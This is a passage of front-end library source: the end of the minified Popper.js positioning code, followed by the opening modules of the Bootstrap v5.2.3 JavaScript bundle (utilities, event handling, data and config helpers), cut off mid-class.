0===a||a,f=n.fallbackPlacements,c=n.padding,p=n.boundary,u=n.rootBoundary,l=n.altBoundary,d=n.flipVariations,h=void 0===d||d,m=n.allowedAutoPlacements,v=t.options.placement,y=C(v),g=f||(y===v||!h?[fe(v)]:function(e){if(C(e)===M)return[];var t=fe(e);return[pe(e),t,pe(t)]}(v)),b=[v].concat(g).reduce((function(e,n){return e.concat(C(n)===M?ue(t,{placement:n,boundary:p,rootBoundary:u,padding:c,flipVariations:h,allowedAutoPlacements:m}):n)}),[]),w=t.rects.reference,x=t.rects.popper,O=new Map,j=!0,E=b[0],k=0;k<b.length;k++){var B=b[k],H=C(B),T=U(B)===W,R=[D,A].indexOf(H)>=0,S=R?"width":"height",V=J(t,{placement:B,boundary:p,rootBoundary:u,altBoundary:l,padding:c}),q=R?T?L:P:T?A:D;w[S]>x[S]&&(q=fe(q));var N=fe(q),I=[];if(i&&I.push(V[H]<=0),s&&I.push(V[q]<=0,V[N]<=0),I.every((function(e){return e}))){E=B,j=!1;break}O.set(B,I)}if(j)for(var _=function(e){var t=b.find((function(t){var n=O.get(t);if(n)return n.slice(0,e).every((function(e){return e}))}));if(t)return E=t,"break"},F=h?3:1;F>0;F--){if("break"===_(F))break}t.placement!==E&&(t.modifiersData[r]._skip=!0,t.placement=E,t.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}};function de(e,t,n){return i(e,a(t,n))}var he={name:"preventOverflow",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options,r=e.name,o=n.mainAxis,s=void 0===o||o,f=n.altAxis,c=void 0!==f&&f,p=n.boundary,u=n.rootBoundary,l=n.altBoundary,d=n.padding,h=n.tether,m=void 0===h||h,v=n.tetherOffset,y=void 0===v?0:v,b=J(t,{boundary:p,rootBoundary:u,padding:d,altBoundary:l}),w=C(t.placement),x=U(t.placement),O=!x,j=z(w),M="x"===j?"y":"x",k=t.modifiersData.popperOffsets,B=t.rects.reference,H=t.rects.popper,T="function"==typeof y?y(Object.assign({},t.rects,{placement:t.placement})):y,R="number"==typeof T?{mainAxis:T,altAxis:T}:Object.assign({mainAxis:0,altAxis:0},T),S=t.modifiersData.offset?t.modifiersData.offset[t.placement]:null,V={x:0,y:0};if(k){if(s){var q,N="y"===j?D:P,I="y"===j?A:L,_="y"===j?"height":"width",F=k[j],X=F+b[N],Y=F-b[I],G=m?-H[_]/2:0,K=x===W?B[_]:H[_],Q=x===W?-H[_]:-B[_],Z=t.elements.arrow,$=m&&Z?g(Z):{width:0,height:0},ee=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},te=ee[N],ne=ee[I],re=de(0,B[_],$[_]),oe=O?B[_]/2-G-re-te-R.mainAxis:K-re-te-R.mainAxis,ie=O?-B[_]/2+G+re+ne+R.mainAxis:Q+re+ne+R.mainAxis,ae=t.elements.arrow&&E(t.elements.arrow),se=ae?"y"===j?ae.clientTop||0:ae.clientLeft||0:0,fe=null!=(q=null==S?void 0:S[j])?q:0,ce=F+ie-fe,pe=de(m?a(X,F+oe-fe-se):X,F,m?i(Y,ce):Y);k[j]=pe,V[j]=pe-F}if(c){var ue,le="x"===j?D:P,he="x"===j?A:L,me=k[M],ve="y"===M?"height":"width",ye=me+b[le],ge=me-b[he],be=-1!==[D,P].indexOf(w),we=null!=(ue=null==S?void 0:S[M])?ue:0,xe=be?ye:me-B[ve]-H[ve]-we+R.altAxis,Oe=be?me+B[ve]+H[ve]-we-R.altAxis:ge,je=m&&be?function(e,t,n){var r=de(e,t,n);return r>n?n:r}(xe,me,Oe):de(m?xe:ye,me,m?Oe:ge);k[M]=je,V[M]=je-me}t.modifiersData[r]=V}},requiresIfExists:["offset"]};var me={name:"arrow",enabled:!0,phase:"main",fn:function(e){var t,n=e.state,r=e.name,o=e.options,i=n.elements.arrow,a=n.modifiersData.popperOffsets,s=C(n.placement),f=z(s),c=[P,L].indexOf(s)>=0?"height":"width";if(i&&a){var p=function(e,t){return Y("number"!=typeof(e="function"==typeof e?e(Object.assign({},t.rects,{placement:t.placement})):e)?e:G(e,k))}(o.padding,n),u=g(i),l="y"===f?D:P,d="y"===f?A:L,h=n.rects.reference[c]+n.rects.reference[f]-a[f]-n.rects.popper[c],m=a[f]-n.rects.reference[f],v=E(i),y=v?"y"===f?v.clientHeight||0:v.clientWidth||0:0,b=h/2-m/2,w=p[l],x=y-u[c]-p[d],O=y/2-u[c]/2+b,j=de(w,O,x),M=f;n.modifiersData[r]=((t={})[M]=j,t.centerOffset=j-O,t)}},effect:function(e){var t=e.state,n=e.options.element,r=void 0===n?"[data-popper-arrow]":n;null!=r&&("string"!=typeof r||(r=t.elements.popper.querySelector(r)))&&N(t.elements.popper,r)&&(t.elements.arrow=r)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]};function ve(e,t,n){return void 0===n&&(n={x:0,y:0}),{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function ye(e){return[D,L,A,P].some((function(t){return e[t]>=0}))}var ge={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(e){var t=e.state,n=e.name,r=t.rects.reference,o=t.rects.popper,i=t.modifiersData.preventOverflow,a=J(t,{elementContext:"reference"}),s=J(t,{altBoundary:!0}),f=ve(a,r),c=ve(s,o,i),p=ye(f),u=ye(c);t.modifiersData[n]={referenceClippingOffsets:f,popperEscapeOffsets:c,isReferenceHidden:p,hasPopperEscaped:u},t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-reference-hidden":p,"data-popper-escaped":u})}},be=Z({defaultModifiers:[ee,te,oe,ie]}),we=[ee,te,oe,ie,ae,le,he,me,ge],xe=Z({defaultModifiers:we});e.applyStyles=ie,e.arrow=me,e.computeStyles=oe,e.createPopper=xe,e.createPopperLite=be,e.defaultModifiers=we,e.detectOverflow=J,e.eventListeners=ee,e.flip=le,e.hide=ge,e.offset=ae,e.popperGenerator=Z,e.popperOffsets=te,e.preventOverflow=he,Object.defineProperty(e,"__esModule",{value:!0})}));
|
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/*!
|
|
* Bootstrap v5.2.3 (https://getbootstrap.com/)
|
|
* Copyright 2011-2022 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
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* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
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*/
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|
(function (global, factory) {
|
|
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory(require('@popperjs/core')) :
|
|
typeof define === 'function' && define.amd ? define(['@popperjs/core'], factory) :
|
|
(global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.bootstrap = factory(global.Popper));
|
|
})(this, (function (Popper) { 'use strict';
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|
|
function _interopNamespace(e) {
|
|
if (e && e.__esModule) return e;
|
|
const n = Object.create(null, { [Symbol.toStringTag]: { value: 'Module' } });
|
|
if (e) {
|
|
for (const k in e) {
|
|
if (k !== 'default') {
|
|
const d = Object.getOwnPropertyDescriptor(e, k);
|
|
Object.defineProperty(n, k, d.get ? d : {
|
|
enumerable: true,
|
|
get: () => e[k]
|
|
});
|
|
}
|
|
}
|
|
}
|
|
n.default = e;
|
|
return Object.freeze(n);
|
|
}
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|
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const Popper__namespace = /*#__PURE__*/_interopNamespace(Popper);
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|
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/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): util/index.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
const MAX_UID = 1000000;
|
|
const MILLISECONDS_MULTIPLIER = 1000;
|
|
const TRANSITION_END = 'transitionend'; // Shout-out Angus Croll (https://goo.gl/pxwQGp)
|
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|
|
const toType = object => {
|
|
if (object === null || object === undefined) {
|
|
return `${object}`;
|
|
}
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|
|
return Object.prototype.toString.call(object).match(/\s([a-z]+)/i)[1].toLowerCase();
|
|
};
|
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/**
|
|
* Public Util API
|
|
*/
|
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|
|
|
|
const getUID = prefix => {
|
|
do {
|
|
prefix += Math.floor(Math.random() * MAX_UID);
|
|
} while (document.getElementById(prefix));
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|
|
return prefix;
|
|
};
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const getSelector = element => {
|
|
let selector = element.getAttribute('data-bs-target');
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if (!selector || selector === '#') {
|
|
let hrefAttribute = element.getAttribute('href'); // The only valid content that could double as a selector are IDs or classes,
|
|
// so everything starting with `#` or `.`. If a "real" URL is used as the selector,
|
|
// `document.querySelector` will rightfully complain it is invalid.
|
|
// See https://github.com/twbs/bootstrap/issues/32273
|
|
|
|
if (!hrefAttribute || !hrefAttribute.includes('#') && !hrefAttribute.startsWith('.')) {
|
|
return null;
|
|
} // Just in case some CMS puts out a full URL with the anchor appended
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|
|
|
|
if (hrefAttribute.includes('#') && !hrefAttribute.startsWith('#')) {
|
|
hrefAttribute = `#${hrefAttribute.split('#')[1]}`;
|
|
}
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|
|
selector = hrefAttribute && hrefAttribute !== '#' ? hrefAttribute.trim() : null;
|
|
}
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return selector;
|
|
};
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const getSelectorFromElement = element => {
|
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const selector = getSelector(element);
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|
|
if (selector) {
|
|
return document.querySelector(selector) ? selector : null;
|
|
}
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return null;
|
|
};
|
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|
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const getElementFromSelector = element => {
|
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const selector = getSelector(element);
|
|
return selector ? document.querySelector(selector) : null;
|
|
};
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const getTransitionDurationFromElement = element => {
|
|
if (!element) {
|
|
return 0;
|
|
} // Get transition-duration of the element
|
|
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|
|
let {
|
|
transitionDuration,
|
|
transitionDelay
|
|
} = window.getComputedStyle(element);
|
|
const floatTransitionDuration = Number.parseFloat(transitionDuration);
|
|
const floatTransitionDelay = Number.parseFloat(transitionDelay); // Return 0 if element or transition duration is not found
|
|
|
|
if (!floatTransitionDuration && !floatTransitionDelay) {
|
|
return 0;
|
|
} // If multiple durations are defined, take the first
|
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|
|
transitionDuration = transitionDuration.split(',')[0];
|
|
transitionDelay = transitionDelay.split(',')[0];
|
|
return (Number.parseFloat(transitionDuration) + Number.parseFloat(transitionDelay)) * MILLISECONDS_MULTIPLIER;
|
|
};
|
|
|
|
const triggerTransitionEnd = element => {
|
|
element.dispatchEvent(new Event(TRANSITION_END));
|
|
};
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const isElement = object => {
|
|
if (!object || typeof object !== 'object') {
|
|
return false;
|
|
}
|
|
|
|
if (typeof object.jquery !== 'undefined') {
|
|
object = object[0];
|
|
}
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|
|
return typeof object.nodeType !== 'undefined';
|
|
};
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|
|
const getElement = object => {
|
|
// it's a jQuery object or a node element
|
|
if (isElement(object)) {
|
|
return object.jquery ? object[0] : object;
|
|
}
|
|
|
|
if (typeof object === 'string' && object.length > 0) {
|
|
return document.querySelector(object);
|
|
}
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|
|
|
return null;
|
|
};
|
|
|
|
const isVisible = element => {
|
|
if (!isElement(element) || element.getClientRects().length === 0) {
|
|
return false;
|
|
}
|
|
|
|
const elementIsVisible = getComputedStyle(element).getPropertyValue('visibility') === 'visible'; // Handle `details` element as its content may falsie appear visible when it is closed
|
|
|
|
const closedDetails = element.closest('details:not([open])');
|
|
|
|
if (!closedDetails) {
|
|
return elementIsVisible;
|
|
}
|
|
|
|
if (closedDetails !== element) {
|
|
const summary = element.closest('summary');
|
|
|
|
if (summary && summary.parentNode !== closedDetails) {
|
|
return false;
|
|
}
|
|
|
|
if (summary === null) {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
return elementIsVisible;
|
|
};
|
|
|
|
const isDisabled = element => {
|
|
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
return true;
|
|
}
|
|
|
|
if (element.classList.contains('disabled')) {
|
|
return true;
|
|
}
|
|
|
|
if (typeof element.disabled !== 'undefined') {
|
|
return element.disabled;
|
|
}
|
|
|
|
return element.hasAttribute('disabled') && element.getAttribute('disabled') !== 'false';
|
|
};
|
|
|
|
const findShadowRoot = element => {
|
|
if (!document.documentElement.attachShadow) {
|
|
return null;
|
|
} // Can find the shadow root otherwise it'll return the document
|
|
|
|
|
|
if (typeof element.getRootNode === 'function') {
|
|
const root = element.getRootNode();
|
|
return root instanceof ShadowRoot ? root : null;
|
|
}
|
|
|
|
if (element instanceof ShadowRoot) {
|
|
return element;
|
|
} // when we don't find a shadow root
|
|
|
|
|
|
if (!element.parentNode) {
|
|
return null;
|
|
}
|
|
|
|
return findShadowRoot(element.parentNode);
|
|
};
|
|
|
|
const noop = () => {};
|
|
/**
|
|
* Trick to restart an element's animation
|
|
*
|
|
* @param {HTMLElement} element
|
|
* @return void
|
|
*
|
|
* @see https://www.charistheo.io/blog/2021/02/restart-a-css-animation-with-javascript/#restarting-a-css-animation
|
|
*/
|
|
|
|
|
|
const reflow = element => {
|
|
element.offsetHeight; // eslint-disable-line no-unused-expressions
|
|
};
|
|
|
|
const getjQuery = () => {
|
|
if (window.jQuery && !document.body.hasAttribute('data-bs-no-jquery')) {
|
|
return window.jQuery;
|
|
}
|
|
|
|
return null;
|
|
};
|
|
|
|
const DOMContentLoadedCallbacks = [];
|
|
|
|
const onDOMContentLoaded = callback => {
|
|
if (document.readyState === 'loading') {
|
|
// add listener on the first call when the document is in loading state
|
|
if (!DOMContentLoadedCallbacks.length) {
|
|
document.addEventListener('DOMContentLoaded', () => {
|
|
for (const callback of DOMContentLoadedCallbacks) {
|
|
callback();
|
|
}
|
|
});
|
|
}
|
|
|
|
DOMContentLoadedCallbacks.push(callback);
|
|
} else {
|
|
callback();
|
|
}
|
|
};
|
|
|
|
const isRTL = () => document.documentElement.dir === 'rtl';
|
|
|
|
const defineJQueryPlugin = plugin => {
|
|
onDOMContentLoaded(() => {
|
|
const $ = getjQuery();
|
|
/* istanbul ignore if */
|
|
|
|
if ($) {
|
|
const name = plugin.NAME;
|
|
const JQUERY_NO_CONFLICT = $.fn[name];
|
|
$.fn[name] = plugin.jQueryInterface;
|
|
$.fn[name].Constructor = plugin;
|
|
|
|
$.fn[name].noConflict = () => {
|
|
$.fn[name] = JQUERY_NO_CONFLICT;
|
|
return plugin.jQueryInterface;
|
|
};
|
|
}
|
|
});
|
|
};
|
|
|
|
const execute = callback => {
|
|
if (typeof callback === 'function') {
|
|
callback();
|
|
}
|
|
};
|
|
|
|
const executeAfterTransition = (callback, transitionElement, waitForTransition = true) => {
|
|
if (!waitForTransition) {
|
|
execute(callback);
|
|
return;
|
|
}
|
|
|
|
const durationPadding = 5;
|
|
const emulatedDuration = getTransitionDurationFromElement(transitionElement) + durationPadding;
|
|
let called = false;
|
|
|
|
const handler = ({
|
|
target
|
|
}) => {
|
|
if (target !== transitionElement) {
|
|
return;
|
|
}
|
|
|
|
called = true;
|
|
transitionElement.removeEventListener(TRANSITION_END, handler);
|
|
execute(callback);
|
|
};
|
|
|
|
transitionElement.addEventListener(TRANSITION_END, handler);
|
|
setTimeout(() => {
|
|
if (!called) {
|
|
triggerTransitionEnd(transitionElement);
|
|
}
|
|
}, emulatedDuration);
|
|
};
|
|
/**
|
|
* Return the previous/next element of a list.
|
|
*
|
|
* @param {array} list The list of elements
|
|
* @param activeElement The active element
|
|
* @param shouldGetNext Choose to get next or previous element
|
|
* @param isCycleAllowed
|
|
* @return {Element|elem} The proper element
|
|
*/
|
|
|
|
|
|
const getNextActiveElement = (list, activeElement, shouldGetNext, isCycleAllowed) => {
|
|
const listLength = list.length;
|
|
let index = list.indexOf(activeElement); // if the element does not exist in the list return an element
|
|
// depending on the direction and if cycle is allowed
|
|
|
|
if (index === -1) {
|
|
return !shouldGetNext && isCycleAllowed ? list[listLength - 1] : list[0];
|
|
}
|
|
|
|
index += shouldGetNext ? 1 : -1;
|
|
|
|
if (isCycleAllowed) {
|
|
index = (index + listLength) % listLength;
|
|
}
|
|
|
|
return list[Math.max(0, Math.min(index, listLength - 1))];
|
|
};
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): dom/event-handler.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const namespaceRegex = /[^.]*(?=\..*)\.|.*/;
|
|
const stripNameRegex = /\..*/;
|
|
const stripUidRegex = /::\d+$/;
|
|
const eventRegistry = {}; // Events storage
|
|
|
|
let uidEvent = 1;
|
|
const customEvents = {
|
|
mouseenter: 'mouseover',
|
|
mouseleave: 'mouseout'
|
|
};
|
|
const nativeEvents = new Set(['click', 'dblclick', 'mouseup', 'mousedown', 'contextmenu', 'mousewheel', 'DOMMouseScroll', 'mouseover', 'mouseout', 'mousemove', 'selectstart', 'selectend', 'keydown', 'keypress', 'keyup', 'orientationchange', 'touchstart', 'touchmove', 'touchend', 'touchcancel', 'pointerdown', 'pointermove', 'pointerup', 'pointerleave', 'pointercancel', 'gesturestart', 'gesturechange', 'gestureend', 'focus', 'blur', 'change', 'reset', 'select', 'submit', 'focusin', 'focusout', 'load', 'unload', 'beforeunload', 'resize', 'move', 'DOMContentLoaded', 'readystatechange', 'error', 'abort', 'scroll']);
|
|
/**
|
|
* Private methods
|
|
*/
|
|
|
|
function makeEventUid(element, uid) {
|
|
return uid && `${uid}::${uidEvent++}` || element.uidEvent || uidEvent++;
|
|
}
|
|
|
|
function getElementEvents(element) {
|
|
const uid = makeEventUid(element);
|
|
element.uidEvent = uid;
|
|
eventRegistry[uid] = eventRegistry[uid] || {};
|
|
return eventRegistry[uid];
|
|
}
|
|
|
|
function bootstrapHandler(element, fn) {
|
|
return function handler(event) {
|
|
hydrateObj(event, {
|
|
delegateTarget: element
|
|
});
|
|
|
|
if (handler.oneOff) {
|
|
EventHandler.off(element, event.type, fn);
|
|
}
|
|
|
|
return fn.apply(element, [event]);
|
|
};
|
|
}
|
|
|
|
function bootstrapDelegationHandler(element, selector, fn) {
|
|
return function handler(event) {
|
|
const domElements = element.querySelectorAll(selector);
|
|
|
|
for (let {
|
|
target
|
|
} = event; target && target !== this; target = target.parentNode) {
|
|
for (const domElement of domElements) {
|
|
if (domElement !== target) {
|
|
continue;
|
|
}
|
|
|
|
hydrateObj(event, {
|
|
delegateTarget: target
|
|
});
|
|
|
|
if (handler.oneOff) {
|
|
EventHandler.off(element, event.type, selector, fn);
|
|
}
|
|
|
|
return fn.apply(target, [event]);
|
|
}
|
|
}
|
|
};
|
|
}
|
|
|
|
function findHandler(events, callable, delegationSelector = null) {
|
|
return Object.values(events).find(event => event.callable === callable && event.delegationSelector === delegationSelector);
|
|
}
|
|
|
|
function normalizeParameters(originalTypeEvent, handler, delegationFunction) {
|
|
const isDelegated = typeof handler === 'string'; // todo: tooltip passes `false` instead of selector, so we need to check
|
|
|
|
const callable = isDelegated ? delegationFunction : handler || delegationFunction;
|
|
let typeEvent = getTypeEvent(originalTypeEvent);
|
|
|
|
if (!nativeEvents.has(typeEvent)) {
|
|
typeEvent = originalTypeEvent;
|
|
}
|
|
|
|
return [isDelegated, callable, typeEvent];
|
|
}
|
|
|
|
function addHandler(element, originalTypeEvent, handler, delegationFunction, oneOff) {
|
|
if (typeof originalTypeEvent !== 'string' || !element) {
|
|
return;
|
|
}
|
|
|
|
let [isDelegated, callable, typeEvent] = normalizeParameters(originalTypeEvent, handler, delegationFunction); // in case of mouseenter or mouseleave wrap the handler within a function that checks for its DOM position
|
|
// this prevents the handler from being dispatched the same way as mouseover or mouseout does
|
|
|
|
if (originalTypeEvent in customEvents) {
|
|
const wrapFunction = fn => {
|
|
return function (event) {
|
|
if (!event.relatedTarget || event.relatedTarget !== event.delegateTarget && !event.delegateTarget.contains(event.relatedTarget)) {
|
|
return fn.call(this, event);
|
|
}
|
|
};
|
|
};
|
|
|
|
callable = wrapFunction(callable);
|
|
}
|
|
|
|
const events = getElementEvents(element);
|
|
const handlers = events[typeEvent] || (events[typeEvent] = {});
|
|
const previousFunction = findHandler(handlers, callable, isDelegated ? handler : null);
|
|
|
|
if (previousFunction) {
|
|
previousFunction.oneOff = previousFunction.oneOff && oneOff;
|
|
return;
|
|
}
|
|
|
|
const uid = makeEventUid(callable, originalTypeEvent.replace(namespaceRegex, ''));
|
|
const fn = isDelegated ? bootstrapDelegationHandler(element, handler, callable) : bootstrapHandler(element, callable);
|
|
fn.delegationSelector = isDelegated ? handler : null;
|
|
fn.callable = callable;
|
|
fn.oneOff = oneOff;
|
|
fn.uidEvent = uid;
|
|
handlers[uid] = fn;
|
|
element.addEventListener(typeEvent, fn, isDelegated);
|
|
}
|
|
|
|
function removeHandler(element, events, typeEvent, handler, delegationSelector) {
|
|
const fn = findHandler(events[typeEvent], handler, delegationSelector);
|
|
|
|
if (!fn) {
|
|
return;
|
|
}
|
|
|
|
element.removeEventListener(typeEvent, fn, Boolean(delegationSelector));
|
|
delete events[typeEvent][fn.uidEvent];
|
|
}
|
|
|
|
function removeNamespacedHandlers(element, events, typeEvent, namespace) {
|
|
const storeElementEvent = events[typeEvent] || {};
|
|
|
|
for (const handlerKey of Object.keys(storeElementEvent)) {
|
|
if (handlerKey.includes(namespace)) {
|
|
const event = storeElementEvent[handlerKey];
|
|
removeHandler(element, events, typeEvent, event.callable, event.delegationSelector);
|
|
}
|
|
}
|
|
}
|
|
|
|
function getTypeEvent(event) {
|
|
// allow to get the native events from namespaced events ('click.bs.button' --> 'click')
|
|
event = event.replace(stripNameRegex, '');
|
|
return customEvents[event] || event;
|
|
}
|
|
|
|
const EventHandler = {
|
|
on(element, event, handler, delegationFunction) {
|
|
addHandler(element, event, handler, delegationFunction, false);
|
|
},
|
|
|
|
one(element, event, handler, delegationFunction) {
|
|
addHandler(element, event, handler, delegationFunction, true);
|
|
},
|
|
|
|
off(element, originalTypeEvent, handler, delegationFunction) {
|
|
if (typeof originalTypeEvent !== 'string' || !element) {
|
|
return;
|
|
}
|
|
|
|
const [isDelegated, callable, typeEvent] = normalizeParameters(originalTypeEvent, handler, delegationFunction);
|
|
const inNamespace = typeEvent !== originalTypeEvent;
|
|
const events = getElementEvents(element);
|
|
const storeElementEvent = events[typeEvent] || {};
|
|
const isNamespace = originalTypeEvent.startsWith('.');
|
|
|
|
if (typeof callable !== 'undefined') {
|
|
// Simplest case: handler is passed, remove that listener ONLY.
|
|
if (!Object.keys(storeElementEvent).length) {
|
|
return;
|
|
}
|
|
|
|
removeHandler(element, events, typeEvent, callable, isDelegated ? handler : null);
|
|
return;
|
|
}
|
|
|
|
if (isNamespace) {
|
|
for (const elementEvent of Object.keys(events)) {
|
|
removeNamespacedHandlers(element, events, elementEvent, originalTypeEvent.slice(1));
|
|
}
|
|
}
|
|
|
|
for (const keyHandlers of Object.keys(storeElementEvent)) {
|
|
const handlerKey = keyHandlers.replace(stripUidRegex, '');
|
|
|
|
if (!inNamespace || originalTypeEvent.includes(handlerKey)) {
|
|
const event = storeElementEvent[keyHandlers];
|
|
removeHandler(element, events, typeEvent, event.callable, event.delegationSelector);
|
|
}
|
|
}
|
|
},
|
|
|
|
trigger(element, event, args) {
|
|
if (typeof event !== 'string' || !element) {
|
|
return null;
|
|
}
|
|
|
|
const $ = getjQuery();
|
|
const typeEvent = getTypeEvent(event);
|
|
const inNamespace = event !== typeEvent;
|
|
let jQueryEvent = null;
|
|
let bubbles = true;
|
|
let nativeDispatch = true;
|
|
let defaultPrevented = false;
|
|
|
|
if (inNamespace && $) {
|
|
jQueryEvent = $.Event(event, args);
|
|
$(element).trigger(jQueryEvent);
|
|
bubbles = !jQueryEvent.isPropagationStopped();
|
|
nativeDispatch = !jQueryEvent.isImmediatePropagationStopped();
|
|
defaultPrevented = jQueryEvent.isDefaultPrevented();
|
|
}
|
|
|
|
let evt = new Event(event, {
|
|
bubbles,
|
|
cancelable: true
|
|
});
|
|
evt = hydrateObj(evt, args);
|
|
|
|
if (defaultPrevented) {
|
|
evt.preventDefault();
|
|
}
|
|
|
|
if (nativeDispatch) {
|
|
element.dispatchEvent(evt);
|
|
}
|
|
|
|
if (evt.defaultPrevented && jQueryEvent) {
|
|
jQueryEvent.preventDefault();
|
|
}
|
|
|
|
return evt;
|
|
}
|
|
|
|
};
|
|
|
|
function hydrateObj(obj, meta) {
|
|
for (const [key, value] of Object.entries(meta || {})) {
|
|
try {
|
|
obj[key] = value;
|
|
} catch (_unused) {
|
|
Object.defineProperty(obj, key, {
|
|
configurable: true,
|
|
|
|
get() {
|
|
return value;
|
|
}
|
|
|
|
});
|
|
}
|
|
}
|
|
|
|
return obj;
|
|
}
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): dom/data.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
|
|
/**
|
|
* Constants
|
|
*/
|
|
const elementMap = new Map();
|
|
const Data = {
|
|
set(element, key, instance) {
|
|
if (!elementMap.has(element)) {
|
|
elementMap.set(element, new Map());
|
|
}
|
|
|
|
const instanceMap = elementMap.get(element); // make it clear we only want one instance per element
|
|
// can be removed later when multiple key/instances are fine to be used
|
|
|
|
if (!instanceMap.has(key) && instanceMap.size !== 0) {
|
|
// eslint-disable-next-line no-console
|
|
console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(instanceMap.keys())[0]}.`);
|
|
return;
|
|
}
|
|
|
|
instanceMap.set(key, instance);
|
|
},
|
|
|
|
get(element, key) {
|
|
if (elementMap.has(element)) {
|
|
return elementMap.get(element).get(key) || null;
|
|
}
|
|
|
|
return null;
|
|
},
|
|
|
|
remove(element, key) {
|
|
if (!elementMap.has(element)) {
|
|
return;
|
|
}
|
|
|
|
const instanceMap = elementMap.get(element);
|
|
instanceMap.delete(key); // free up element references if there are no instances left for an element
|
|
|
|
if (instanceMap.size === 0) {
|
|
elementMap.delete(element);
|
|
}
|
|
}
|
|
|
|
};
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): dom/manipulator.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
function normalizeData(value) {
|
|
if (value === 'true') {
|
|
return true;
|
|
}
|
|
|
|
if (value === 'false') {
|
|
return false;
|
|
}
|
|
|
|
if (value === Number(value).toString()) {
|
|
return Number(value);
|
|
}
|
|
|
|
if (value === '' || value === 'null') {
|
|
return null;
|
|
}
|
|
|
|
if (typeof value !== 'string') {
|
|
return value;
|
|
}
|
|
|
|
try {
|
|
return JSON.parse(decodeURIComponent(value));
|
|
} catch (_unused) {
|
|
return value;
|
|
}
|
|
}
|
|
|
|
function normalizeDataKey(key) {
|
|
return key.replace(/[A-Z]/g, chr => `-${chr.toLowerCase()}`);
|
|
}
|
|
|
|
const Manipulator = {
|
|
setDataAttribute(element, key, value) {
|
|
element.setAttribute(`data-bs-${normalizeDataKey(key)}`, value);
|
|
},
|
|
|
|
removeDataAttribute(element, key) {
|
|
element.removeAttribute(`data-bs-${normalizeDataKey(key)}`);
|
|
},
|
|
|
|
getDataAttributes(element) {
|
|
if (!element) {
|
|
return {};
|
|
}
|
|
|
|
const attributes = {};
|
|
const bsKeys = Object.keys(element.dataset).filter(key => key.startsWith('bs') && !key.startsWith('bsConfig'));
|
|
|
|
for (const key of bsKeys) {
|
|
let pureKey = key.replace(/^bs/, '');
|
|
pureKey = pureKey.charAt(0).toLowerCase() + pureKey.slice(1, pureKey.length);
|
|
attributes[pureKey] = normalizeData(element.dataset[key]);
|
|
}
|
|
|
|
return attributes;
|
|
},
|
|
|
|
getDataAttribute(element, key) {
|
|
return normalizeData(element.getAttribute(`data-bs-${normalizeDataKey(key)}`));
|
|
}
|
|
|
|
};
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): util/config.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Config {
|
|
// Getters
|
|
static get Default() {
|
|
return {};
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return {};
|
|
}
|
|
|
|
static get NAME() {
|
|
throw new Error('You have to implement the static method "NAME", for each component!');
|
|
}
|
|
|
|
_getConfig(config) {
|
|
config = this._mergeConfigObj(config);
|
|
config = this._configAfterMerge(config);
|
|
|
|
this._typeCheckConfig(config);
|
|
|
|
return config;
|
|
}
|
|
|
|
_configAfterMerge(config) {
|
|
return config;
|
|
}
|
|
|
|
_mergeConfigObj(config, element) {
|
|
const jsonConfig = isElement(element) ? Manipulator.getDataAttribute(element, 'config') : {}; // try to parse
|
|
|
|
return { ...this.constructor.Default,
|
|
...(typeof jsonConfig === 'object' ? jsonConfig : {}),
|
|
...(isElement(element) ? Manipulator.getDataAttributes(element) : {}),
|
|
...(typeof config === 'object' ? config : {})
|
|
};
|
|
}
|
|
|
|
_typeCheckConfig(config, configTypes = this.constructor.DefaultType) {
|
|
for (const property of Object.keys(configTypes)) {
|
|
const expectedTypes = configTypes[property];
|
|
const value = config[property];
|
|
const valueType = isElement(value) ? 'element' : toType(value);
|
|
|
|
if (!new RegExp(expectedTypes).test(valueType)) {
|
|
throw new TypeError(`${this.constructor.NAME.toUpperCase()}: Option "${property}" provided type "${valueType}" but expected type "${expectedTypes}".`);
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): base-component.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const VERSION = '5.2.3';
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class BaseComponent extends Config {
|
|
constructor(element, config) {
|
|
super();
|
|
element = getElement(element);
|
|
|
|
